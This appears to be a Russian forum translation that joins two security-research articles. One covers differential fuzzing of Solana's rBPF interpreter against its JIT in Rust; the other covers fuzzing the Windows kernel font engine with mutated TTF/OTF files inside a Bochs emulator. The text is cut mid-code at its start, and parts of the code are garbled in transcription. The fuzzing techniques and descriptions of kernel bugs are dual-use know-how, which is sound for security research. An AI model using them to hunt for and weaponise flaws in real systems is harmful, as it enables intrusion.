RightShift(Source),
Negate,
Modulo(Source),
BitXor(Source),
Mov(Source),
SRS(Source),
SwapBytes(Endian),
Load(MemSize),
LoadAbs(MemSize),
LoadInd(MemSize),
LoadX(MemSize),
Store(MemSize),
StoreX(MemSize),
Jump,
JumpC(Cond, Source),
Call,
Exit,
}
Spoiler: [SIZE=5][B] Преобразование FuzzedOps в BpfCode[/B] [/SIZE]
pub type FuzzProgram = Vec
pub fn make_program(prog: &FuzzProgram, arch: Arch) -> BpfCode {
let mut code = BpfCode::default();
for inst in prog {
match inst.op {
FuzzedOp::Add(src) => code
.add(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Sub(src) => code
.sub(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Mul(src) => code
.mul(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp:iv(src)
=> code
.div(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitOr(src) => code
.bit_or(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitAnd(src) => code
.bit_and(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LeftShift(src) => code
.left_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::RightShift(src) => code
.right_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Negate => code
.negate(arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Modulo(src) => code
.modulo(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitXor(src) => code
.bit_xor(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Mov(src) => code
.mov(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::SRS(src) => code
.signed_right_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::SwapBytes(endian) => code
.swap_bytes(endian)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Load(mem) => code
.load(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadAbs(mem) => code
.load_abs(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadInd(mem) => code
.load_ind(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadX(mem) => code
.load_x(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Store(mem) => code
.store(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::StoreX(mem) => code
.store_x(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Jump => code
.jump_unconditional()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::JumpC(cond, src) => code
.jump_conditional(cond, src)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Call => code
.call()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Exit => code
.exit()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
};
}
code
}
Вы увидите, что наше поколение на самом деле не заботится о том, чтобы инструкции были действительными, а только о том, чтобы они были в правильном формате. Например, мы не проверяем регистры, адреса, цели перехода и т. д.; мы просто соединяем это вместе и смотрим, работает ли это. Это делается для предотвращения чрезмерной специализации, когда наши попытки фаззинга делают только «скучные» входные данные, которые не проверяют случаи, которые обычно считаются недействительными. Хорошо – давайте сделаем фаззер с этим. Единственная реальная разница здесь в том, что наш формат ввода теперь изменен, чтобы иметь наш новый тип FuzzProgram вместо необработанных байтов:
Code:Copy to clipboard
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
prog: FuzzProgram,
mem: Vec<u8>,
arch: Arch,
}
Весь фаззер
Этот фаззер выражает определенную стадию развития. Дифференциальный фаззер существенно отличается в нескольких ключевых аспектах, которые будут обсуждаться позже.
Spoiler: Весь фаззер
#![feature(bench_black_box)]
#![no_main]
use std::collections::BTreeMap;
use std::hint::black_box;
use libfuzzer_sys::fuzz_target;
use grammar_aware::*;
use solana_rbpf::{
elf::{register_bpf_function, Executable},
insn_builder::{Arch, IntoBytes},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
mod grammar_aware;
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
prog: FuzzProgram,
mem: Vec
arch: Arch,
}
fuzz_target!(|data: FuzzData| {
let prog = make_program(&data.prog, data.arch);
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0,
"entrypoint").unwrap();
let executable = Executable::<UserError,
TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [],
vec![mem_region]).unwrap();
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1 << 16 },
)));
});
Давайте посмотрим, насколько хорошо эта версия теперь покрывает нашу цель.
Code:Copy to clipboard
$ cargo +nightly fuzz run smart -- -max_total_time=60
... snip ...
#1449846 REDUCE cov: 1730 ft: 6369 corp: 1019/168Kb lim: 4096 exec/s: 4832 rss: 358Mb L: 267/2963 MS: 1 EraseBytes-
#1450798 NEW cov: 1730 ft: 6370 corp: 1020/168Kb lim: 4096 exec/s: 4835 rss: 358Mb L: 193/2963 MS: 2 InsertByte-InsertRepeatedBytes-
#1451609 NEW cov: 1730 ft: 6371 corp: 1021/168Kb lim: 4096 exec/s: 4838 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452095 NEW cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4840 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452830 DONE cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4826 rss: 358Mb
Done 1452830 runs in 301 second(s)
Обратите внимание, что наше количество испробованных входных данных (самое
левое число) составляет почти половину, но наши значения cov и ft значительно
выше.
Давайте оценим это покрытие более конкретно:
Code:Copy to clipboard
$ cargo +nightly fuzz coverage smart
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/smart -instr-profile=fuzz/coverage/smart/coverage.profdata -show-line-counts-or-regions -show-instantiations -name=execute_program_interpreted_inner
Вывод команды rust-cov (v2)
https://anonfiles.com/P8La22jayc/_rust-cov_v2_
Теперь мы видим, что инструкции перехода и вызова действительно используются
, и что мы выполняем содержимое цикла интерпретатора значительно чаще,
несмотря на примерно одинаковое количество успешных вызовов функции
интерпретатора. Из этого мы можем сделать вывод, что не только успешно
выполняется больше программ, но и то, что из тех, которые выполняются, в целом
они, как правило, имеют более правильные инструкции.
Хотя это не затрагивает каждую ветку, теперь оно затрагивает значительно
больше — и с гораздо более интересными значениями.
Разработка этой версии фаззера заняла около часа, так что в общей сложности мы
работаем один час.
Теперь, когда у нас есть фаззер, который может генерировать множество входных данных, которые нам действительно интересны, мы можем разработать фаззер, который может тестировать JIT и интерпретатор друг против друга. Но как мы можем проверить их друг против друга?
Как гласит определение псевдооракула: нам нужно проверить, обеспечивает ли альтернативная программа (для JIT, интерпретатор и наоборот) такой же «вход» такой же «выход». Итак, какие входы и выходы у нас есть?
Что касается входных данных, мы хотим изменить три важные вещи:
После того, как мы разработали наши входные данные, нам также нужно подумать о наших выходных данных:
Затем, чтобы выполнить JIT и интерпретатор, мы предпримем следующие шаги:
solana.html#writing-the-fuzzer)
Как и прежде, я разделил это на более удобные фрагменты, чтобы вы могли читать их по одному вне контекста, прежде чем пытаться интерпретировать их окончательный контекст.
Шаг 1: определение наших входных данных
Code:Copy to clipboard
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
... snip ...
prog: FuzzProgram,
mem: Vec<u8>,
}
Шаг 2. Настройка виртуальной машины
Code:Copy to clipboard
fuzz_target!(|data: FuzzData| {
let mut prog = make_program(&data.prog, Arch::X64);
... snip ...
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut interp_mem = data.mem.clone();
let mut jit_mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
let mut interp_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
.unwrap();
let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
let mut jit_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
.unwrap();
// See step 3
}
});
Шаг 3: Выполнение нашего ввода и сравнение вывода
Code:Copy to clipboard
fuzz_target!(|data: FuzzData| {
// see step 2
if Executable::jit_compile(&mut executable).is_ok() {
// see step 2
let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if interp_res != jit_res {
panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
}
if interp_res.is_ok() {
// we know jit res must be ok if interp res is by this point
if interp_meter.remaining != jit_meter.remaining {
panic!(
"Expected {} insts remaining, but got {}",
interp_meter.remaining, jit_meter.remaining
);
}
if interp_mem != jit_mem {
panic!(
"Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
interp_mem, jit_mem
);
}
}
}
});
Шаг 4: Соберите это вместе
Ниже приведен окончательный код фаззера, включая все биты, которые я не
показал выше для краткости.
https://anonfiles.com/j9If2cj3y2/Fuzzer3_txt
И вместе с этим у нас есть наш фаззер! На реализацию этой части фаззера ушло около трех часов (в основном из-за обнаружения нескольких проблем с фаззером и их отладки).
К этому моменту мы были уже около шести часов. Я включил фаззер и стал ждать:
$ cargo +nightly fuzz run smart-jit-diff --jobs 4 -- -ignore_crashes=1
И начались сбои. Появились две основные ошибки:
Перевод той статьи - https://secret.club/2022/05/11/fuzzing-solana.html
[Репозитории rBPF](https://github.com/solana- labs/rbpf/blob/main/fuzz/fuzz_targets/smart_jit_diff.rs)
В 1 части мы обсудили мотивацию и результаты наших многолетних усилий по фаззингу против движка шрифтов ядра Windows, после чего последовал анализ двух ошибок с Keen Team и Hacking Team, которые последовали в результате этой работы. Хотя сами ошибки, безусловно, забавны, мы находим еще более интересными методы и решения, которые мы приняли, чтобы сделать проект таким же эффективным, каким он оказался. Хотя несколько методов, которые мы использовали, были очень специфичны для конкретной цели, мы считаем, что большинство идей по-прежнему применимы к большинству усилий по фаззингу, поскольку мы разработали их благодаря многолетнему опыту, не ограничивающемуся только ядром Windows. Наслаждайся!
Технические подробности
В то время как фаззинг в принципе основан на очень простой концепции (изменить ввод, запустить цель, отловить сбои, повторить), это также своего рода деятельность легкая в освоении, на самом деле трудная в освоении. Он состоит из ряда различных этапов, и конечный результат является продуктом эффективности каждого из них. Таким образом, в этой статье мы хотели бы объяснить, как мы пытались оптимизировать каждую часть процесса, основываясь на нашем прошлом опыте фаззинга другого программного обеспечения.
Подготовка входных данных
Когда термин фаззинг используется по отношению к тестированию собственных приложений, обрабатывающих входные файлы, он обычно используется в контексте мутационного фаззинга. Это означает, что первоначальный корпус разнообразных и, как правило, корректных входных файлов подготавливается заранее, а затем в процессе фаззинга отдельные образцы слегка видоизменяются. Это делается для того, чтобы сохранить общую файловую структуру, ожидаемую тестируемой программой, а также для вставки случайных изменений, не предусмотренных разработчиками. Исторически сложилось так, что этот подход оказался очень эффективным, поскольку он позволял достигать большого количества различных состояний программы с низкими затратами без необходимости генерировать все необходимые (часто сложные) структуры с нуля. Даже при фаззинге с ориентацией на покрытие с развивающимся корпусом по-прежнему полезно использовать высококачественный исходный набор данных, так как это может сэкономить массу часов и процессорного времени, которые в противном случае были бы потрачены впустую на брутфорс генерацию основных конструкций на входах.
Также в этом случае мутационный фаззинг был фундаментальным и способствовал обнаружению большинства зарегистрированных ошибок. По причинам, которые будут обсуждаться позже, мы решили не использовать охват, что еще больше повысило важность хорошего корпуса входных данных. В частности, нас интересовали следующие типы файлов:
- Шрифты TrueType (расширение .TTF, обрабатывается win32k.sys),
- Шрифты OpenType (расширение .OTF, обрабатывается ATMFD.DLL),
- Растровые шрифты (расширения .FON, .FNT, обрабатывается win32k.sys),
- Шрифты Type 1 (расширения .PFB, .PFM, .MMM, обрабатываются ATMFD.DLL).
Тем не менее, мы решили в конечном итоге исключить Тип 1 по нескольким причинам:
- Windows требует как минимум два соответствующих файла (.PFB и .PFM) для
загрузки одного шрифта Type 1.
- Формат структурно очень прост, наиболее сложной частью являются
CharStrings, которые мы уже тщательно проверили.
- Большая часть логики обработки шрифтов используется в ATMFD.DLL как для
форматов Type 1, так и для OpenType.
Когда дело доходит до растровых шрифтов, мы сначала включили их в фаззинг, но вскоре обнаружили, что единственным сбоем (постоянно) было необработанное исключение деления на ноль. Поэтому мы решили исключить его из будущего фаззинга, а вместо этого сосредоточиться на форматах TrueType и OpenType, которые и так представляли наибольший интерес.
Поскольку мы не собирались проводить измерения покрытия кода ядра Windows, мы не могли провести обычный фазинг большого количества шрифтов, автоматически сгенерированных различными инструментами или просканированных из Интернета. Однако, благодаря предыдущему фаззингу FreeType2, мы создали несколько корпусов для этого проекта. Мы выбрали файл с высокой избыточностью покрытия (до 100 образцов на одну базовую пару блоков) и извлекли только шрифты TTF и OTF, в результате чего была получена коллекция из 19507 файлов — 14848 файлов TrueType и 4659 файлов OpenType — потребляющих около 2,4 ГБ памяти дискового пространства.
Использование корпуса, адаптированного для одной части программного обеспечения, для фаззинга другой сопряжено с риском того, что некоторые функции, присутствующие в последнем, не будут покрыты образцами для первого, и без охвата они никогда не будут обнаружены сами по себе. В данном случае я пошел на компромисс, так как риск был частично снижен за счет избыточности в корпусе и того факта, что FreeType, вероятно, имеет наиболее полную поддержку форматов TrueType и OpenType, которая должна охватывать большинство или все форматы Windows. Наконец, использование легкодоступного корпуса сэкономило нам много времени, позволив запустить фаззер, как только остальная инфраструктура заработает.
Мутация TTF и OTF
По нашему опыту, оптимальный выбор стратегии мутации является одной из наиболее важных частей эффективного фаззинга, поэтому обычно стоит потратить некоторое время на настройку конфигурации или даже на написание обработки для конкретного формата. Удобно, что форматы TrueType и OpenType имеют общую структуру чанков, называемую SFNT (https://en.wikipedia.org/wiki/SFNT). Короче говоря, это макет файла, состоящий из нескольких таблиц, идентифицируемых 4-байтовыми тегами, каждая из которых структурирована документированным образом и служит разным целям. Дизайн обратно совместим, но его также легко расширить с помощью таблиц, специфичных для поставщика. В настоящее время существует около 50 таблиц, но только около 20 можно считать важными, и еще меньше обязательных. Кроме того, их также можно классифицировать в зависимости от того, являются ли они специфичными для TrueType, специфичными для OpenType или общими для этих двух. Подробную информацию о наиболее фундаментальных таблицах можно найти в спецификации Microsoft OpenType ( <https://www.microsoft.com/en- us/Typography/OpenTypeSpecification.aspx>).
Важное замечание о таблицах SFNT заключается в том, что все они совершенно разные. Они различаются по длине, структуре, важности, характеру хранимых данных и т. д. Имея это в виду, кажется разумным относиться к каждому из них индивидуально, а не одинаково. Однако почти все публично обсуждаемые фаззеры подходили к шагу мутации противоположным образом: сначала мутируя файл TTF/OTF целиком (не учитывая его внутреннюю структуру), а затем исправляя контрольные суммы таблицы в заголовке, т.е. Windows не сразу отказывалась бы их загружать. На наш взгляд, это было крайне неоптимально.
Чтобы получить некоторые конкретные цифры, мы просмотрели наш корпус шрифтов и обнаружили, что в среднем существует около 10 таблиц, изменение которых влияет на успешность загрузки и отображения шрифта. Интуитивно понятно, что стратегия мутации наиболее эффективна, когда результирующие файлы успешно обрабатываются тестируемым программным обеспечением в 50 % случаев и аналогичным образом не анализируются в остальных 50% случаев. Это указывает на то, что тестовые случаи находятся на грани допустимости, и показывает, что конфигурация не является ни слишком агрессивной, ни слишком свободной. В случае шрифтов SFNT, если одна из таблиц слишком сильно повреждена, весь файл не сможет загрузиться, независимо от содержимого других таблиц. Если мы обозначим вероятность успешной загрузки каждой таблицы с определенной стратегией мутации как , то вероятность для всего файла будет равна , или:
или если мы предположим, что вероятности для всех таблиц должны быть равными (мы хотим фаззить их одинаково):
Если мы подставим усредненное значение
Итак, в результате мы хотели настроить мутатор таким образом, чтобы для каждой таблицы ее измененная форма все еще могла быть успешно обработана ~93% времени (по крайней мере, в среднем).
Алгоритмами, которые мы выбрали для изменения таблиц, были Bitflipping (переворачивает 1-4 последовательных бита в случайно выбранных байтах), Bytflipping (заменяет случайно выбранные байты другими значениями), Chunkspew (копирует данные из одного места во входных данных в другое), Special Ints (вставляет специальные, магические целые числа во входные данные) и Add Sub Binary (добавляет и вычитает случайные целые числа из двоичных данных). Поскольку каждый из алгоритмов воздействовал на данные по-разному, нам нужно было определить среднее наиболее оптимальное соотношение мутаций для каждой пары таблица/алгоритм.
Чтобы облегчить задачу, мы разработали программу, которая загружала каждый файл в корпусе, выполняла итерации по каждой таблице и алгоритму и определяла коэффициент мутации, который приводил бы к ~ 93% успешности загрузки шрифта через деление пополам. После обработки всех файлов мы усреднили числа, установили некоторые общие коэффициенты мутации для таблиц, мутации которых не повлияли на загрузку шрифта (но потенциально они все еще могли быть где-то проанализированы), и в итоге получили следующую таблицу:
Даже с приведенными выше точными числами это всего лишь средние результаты, основанные на всем корпусе, поэтому использование одних и тех же значений для всех шрифтов не сработает. Это особенно верно, поскольку размер и сложность входных выборок сильно различаются: от 8 килобайт до 10 мегабайт. Следовательно, плотность и распределение данных в таблицах также различаются, и для достижения желаемого уровня успеха синтаксического анализа требуются индивидуальные коэффициенты мутаций. Чтобы решить эту проблему и предоставить фаззеру еще большую свободу, вместо того, чтобы использовать фиксированное соотношение в каждой итерации, на каждом проходе фаззер будет выбирать временное соотношение из диапазона , являющегося рассчитанной идеальной скоростью.
С приведенной выше конфигурацией и тривиальным фрагментом кода для дизассемблирования, изменения и повторной сборки файлов SFNT (написанных в нашем случае на C++) мы теперь могли мутировать шрифты умным и глупым способом. Хотя мы все еще просто случайным образом переворачивали биты и использовали такие же простые алгоритмы, у нас была некоторая степень контроля над тем, как Windows будет реагировать на средний мутировавший шрифт.
15 из 16 уязвимостей, обнаруженных в ходе работы, были обнаружены с указанной выше конфигурацией мутаций.
Генерация TTF-программ
Добавление некоторой "умной" логики в совершенно глупый процесс фаззинга является значительным улучшением, но важно понимать, что этого может быть недостаточно для обнаружения определенных классов ошибок обработки шрифтов. Большая часть большинства файлов TTF и OTF, иногда даже большинство, потребляется программами набросков глифов, написанными для выделенных виртуальных машин TrueType/PostScript. Эти виртуальные машины довольно уязвимы в контексте фаззинга, поскольку они прерывают выполнение программы, как только встречается недопустимая инструкция. Следовательно, тупые алгоритмы, работающие с битовыми потоками "черного ящика", не зная их структуры, будут использовать очень ограниченную часть виртуальной машины, поскольку каждая программа, скорее всего, выйдет из строя после выполнения всего нескольких инструкций.
Это не означает, что обычные мутации не могут быть полезны для поиска ошибок VM. Уязвимости, которые могли быть вызваны заменой одной инструкции на другую или перестановкой аргумента инструкции, вполне могли быть обнаружены таким образом, и на самом деле они были в прошлом. Вот почему мы допустили мутации в таблицах "prep", "fpgm" и "glyf", которые содержали программы TrueType. На самом деле уязвимость в обработчике инструкций «IUP» действительно была обнаружена с помощью тупого фаззера.
Тем не менее, мы подозревали, что могли быть также ошибки, которые требовали определенных, длинных конструкций правильных инструкций, чтобы проявить себя. Подозрение также подтвердилось проверкой безопасности кода обработки CharString в ATMFD, где большинство сбоев можно было спровоцировать только тремя или более конкретными инструкциями. Крайне маловероятно (вплоть до нереалистичности в разумные сроки) создание таких конструкций глупым алгоритмом, особенно при отсутствии покрытия. Поскольку я уже провел недели за аудитом виртуальной машины, реализованной в ATMFD, не было необходимости проводить ее дальнейшее фазз-тестирование. Проблема должна была быть решена только для TTF, и наша идея заключалась в том, чтобы использовать специальный генератор программ TrueType, который выдавал бы потоки структурно правильных инструкций (со случайными аргументами) и встраивал их в существующие законные шрифты TTF. Ниже мы приступим к описанию того, как нам удалось добиться такого эффекта.
Шрифты в формате SFNT (как TTF, так и OTF) можно разбить на удобочитаемые
файлы .ttx (со структурой XML) с помощью утилиты ttx.py в рамках проекта
FontTools (https://github.com/behdad/fonttools) и собрать обратно в
двоичную форму. Это очень полезно для удобного просмотра внутренних структур
шрифтов и их модификации любым желаемым способом. Проект также понимает
инструкции TrueType и может дизассемблировать и собирать обратно целые
программы, написанные на этом языке. Потоки инструкций расположены внутри
тегов
…
…
…
PUSH[ ] /* 16 values pushed */
6 111 2 9 7 111 1 8 5 115 3 3 8 6 115 1
SVTCA[0]
MDAP[1]
MIRP[01101]
SRP0[ ]
…
…
…
Мы начали с небольшой предварительной обработки: мы преобразовали все файлы
.ttf в соответствующие версии .ttx и написали короткий скрипт Python
(используя xml.etree.ElementTree) для удаления тела всех тегов
Следующим шагом было написать собственно генератор, который бы генерировал инструкции и встраивал их в нужные места файлов .ttx. Большая часть работы заключалась в чтении спецификации набора инструкций TrueType (https://www.microsoft.com/typography/otspec/ttinst.htm) и реализации генератора каждой инструкции в отдельности. Некоторые из инструкций (например, RTHG, ROFF или FLIPON) были тривиальны для обработки, в то время как другие были намного сложнее. В общем, чтобы убедиться, что программы корректны и не вылетают слишком быстро, пришлось добавить обработку и других частей шрифта:
- Подсчитать количество контуров и точек в каждом глифе, чтобы иметь
возможность генерировать их действительные индексы в качестве аргументов
инструкции.
- Следовать указателям текущей зоны (ZP0, ZP1, ZP2), установленным
инструкциями SZP0, SZP1, SZP2, SZPS, чтобы иметь возможность генерировать
действительные индексы контуров и точек.
- Расширить таблицу "CVT" до 32768 элементов со случайными значениями.
- Настроить многие поля в таблице "maxp" для нашего удобства, чтобы мы не
нарушали какие-либо ограничения, произвольно установленные шрифтом хостинга.
После нескольких дней разработки и тестирования мы получили скрипт tt_generate.py, который принимал файлы .ttx в качестве входных данных и создавал другие файлы .ttx со всеми правильно настроенными структурами и содержащими длинные потоки в основном правильных инструкций для каждого глифа на выходе. После перекомпиляции с помощью ttx.py шрифт можно было загрузить и отобразить аналогично тестовым примерам, созданным с помощью немого фаззинга.
Первой уязвимостью, обнаруженной генератором, была, очевидно, ошибка "IUP", поскольку для этого требовалось только установить ZP2 в 0 с помощью инструкций SZP2/SZPS, а затем вызвать инструкцию IUP. Поскольку эта последовательность генерировалась очень часто, нам пришлось активно избегать ее в коде (всегда устанавливая ZP2 в 1 перед отправкой IUP) до того, как было выпущено исправление для этой проблемы. Затем генератор обнаружил еще одну уникальную ошибку (на этот раз пропущенную глупым проходом) во 2-й итерации фаззинга (issue #507 (<https://bugs.chromium.org/p/project- zero/issues/detail?id=507>)): переполнение буфера на основе пула в функциях отрисовки текста (win32k!or_all_N_wide_rotated_need_last и другие родственные подпрограммы).
С одной уникальной серьезной ошибкой и одним столкновением с результатом мутационного фаззинга мы по-прежнему считаем, что усилия, затраченные на написание генератора TTF, стоили того.
Фаззинг ядра в Bochs
Одно из фундаментальных предположений проекта заключалось в том, чтобы сделать фаззинг масштабируемым, предпочтительно в системах Linux без поддержки виртуализации. Эта предпосылка значительно ограничила наш выбор инфраструктуры, поскольку мы говорим о фаззинге ядра Windows, которое должно работать как единое целое, но также требует некоторого гипервизора над ним, чтобы иметь возможность обнаруживать сбои, сохранять тестовые случаи и так далее. Проект qemu казался интуитивной идеей, но любой, кто знаком с нашим исследованием Bochspwn (http://j00ru.vexillium.org/?p=1695), знает, что нам очень нравится эмулятор Bochs x86 (http://bochs.sourceforge.net/) и его инструментальная поддержка. Системы, работающие в режиме полной эмуляции, очень медленные (эффективная частота до ~100 МГц), но потенциально с тысячами машин замедление в 20-50 раз по-прежнему легко компенсируется. Кроме того, у нас уже был большой опыт работы с Windows на Boch, поэтому мы могли приступить к реализации логики фаззинга в инструментарии, не беспокоясь о каких-либо непредвиденных проблемах начального уровня.
Чтобы сократить количество циклов внутри гостевой системы и ускорить работу, мы решили, что мутация/генерация шрифта будет происходить вне Windows, в инструментарии Bochs. Единственное, за что будет отвечать эмулируемая система, — это запрос входных данных от гипервизора, загрузка их в систему и отображение всех глифов в различных стилях и размерах точек. Вся гостевая логика была включена в единую программу harness.exe, которая автоматически запускалась во время загрузки и начинала тестировать шрифты как можно быстрее.
Вышеупомянутая конструкция требовала некоторого канала связи между harness и инструментами Bochs. Как это сделать? Если мы осознаем, что запускаем эмулятор и, таким образом, контролируем каждую часть выполнения виртуального процессора, ответ становится очевидным: путем обнаружения некоторого особого состояния, которое никогда не возникает при обычном выполнении, но может быть легко установлено нашим процессом внутри виртуальной машины. В нашем случае мы решили использовать инструкцию LFENCE x86 в качестве канала связи между двумя средами. Код операции фактически не используется и (почти) никогда не используется во время обычной работы системы, что делает его идеальным кандидатом для этой функции. Его выполнение можно обнаружить с помощью обратного вызова BX_INSTR_AFTER_EXECUTION:
*void bx_instr_after_execution(unsigned cpu, bxInstruction_c i);
В нашем дизайне код операции передавался через регистр EAX, а параметры ввода/вывода — через регистры ECX/EDX. Всего мы реализовали три операции, облегчающие копирование данных шрифта в гостевую систему, информирование хоста об успехе или неудаче его загрузки и отправку текстовых отладочных сообщений:
**- REQUEST_DATA(lpBuffer) — отправляется программой для получения свежих данных шрифта для проверки ядра. Аргумент lpBuffer содержит виртуальный адрес буфера, в который гипервизор должен копировать данные.
- SEND_STATUS(dwStatus) — отправляется системой для информирования хоста об успешной загрузке самого последнего шрифта.
- DBG_PRINT(lpMessage) – отсылается обвязкой для логирования текстового сообщения.**
Кроме того, данные, полученные в ответ на первое сообщение REQUEST_DATA, всегда были исходными, неизмененными данными файла образца. Это было сделано для того, чтобы программа могла извлекать действительные структуры LOGFONT, описывающие шрифты, содержащиеся в файле, которые затем использовались для их загрузки и отображения во всех последующих итерациях. Рабочий процесс показан на схеме ниже:
Как видите, схема очень проста. Отправка отладочных сообщений и информации о состоянии позволила агрегировать информацию о времени выполнения из сеансов фаззинга и время от времени проверять, что они работают правильно, и цель среднего коэффициента загрузки шрифтов в 50% была действительно достигнута. Шаг изменения/генерации шрифта, реализованный в инструментарии, конечно же, был синхронным, а это означает, что выполнение инструкции LFENCE в гостевой системе не вернется до тех пор, пока образцы данных не будут скопированы в память. Этап мутации был довольно быстрым, так как был написан на C++ и выполнялся в том же процессе. Вариант генерации программы TTF был намного медленнее, поскольку он включал запуск внепроцессного генератора Python, а затем скрипт ttx.py для сборки шрифта обратно в двоичную форму. Однако по сравнению с периодом времени тестирования одного шрифта внутри гостевой системы (от 0,5 с до нескольких минут) это по-прежнему незначительные накладные расходы.
Еще один интересный момент заключается в том, что копирование данных шрифта в память процесса пользовательского режима внутри виртуальной машины в целом было довольно простым (с использованием функции write_lin_mem, аналогичной read_lin_mem от Bochspwn, см. реализацию в mem_interface.cc (<https://github.com/j00ru/kfetch- toolkit/blob/master/instrumentation/mem_interface.cc>)), мы должны были убедиться, что виртуальный адрес, переданный гипервизору, имел соответствующее отображение физической памяти (т. е. был зафиксирован, а не выгружен). Память, выделенная в пространстве пользователя Windows с помощью стандартных распределителей или VirtualAlloc (<https://msdn.microsoft.com/en- us/library/windows/desktop/aa366887(v=vs.85).aspx> ), по умолчанию доступна для страниц, что может быть адресовано либо с помощью функции VirtualLock (<https://msdn.microsoft.com/en- us/library/windows/desktop/aa366895(v=vs.85).aspx>), либо путем простой записи данных в выделенную область памяти, что также гарантирует, что она останется отображенной в ближайшем будущем.
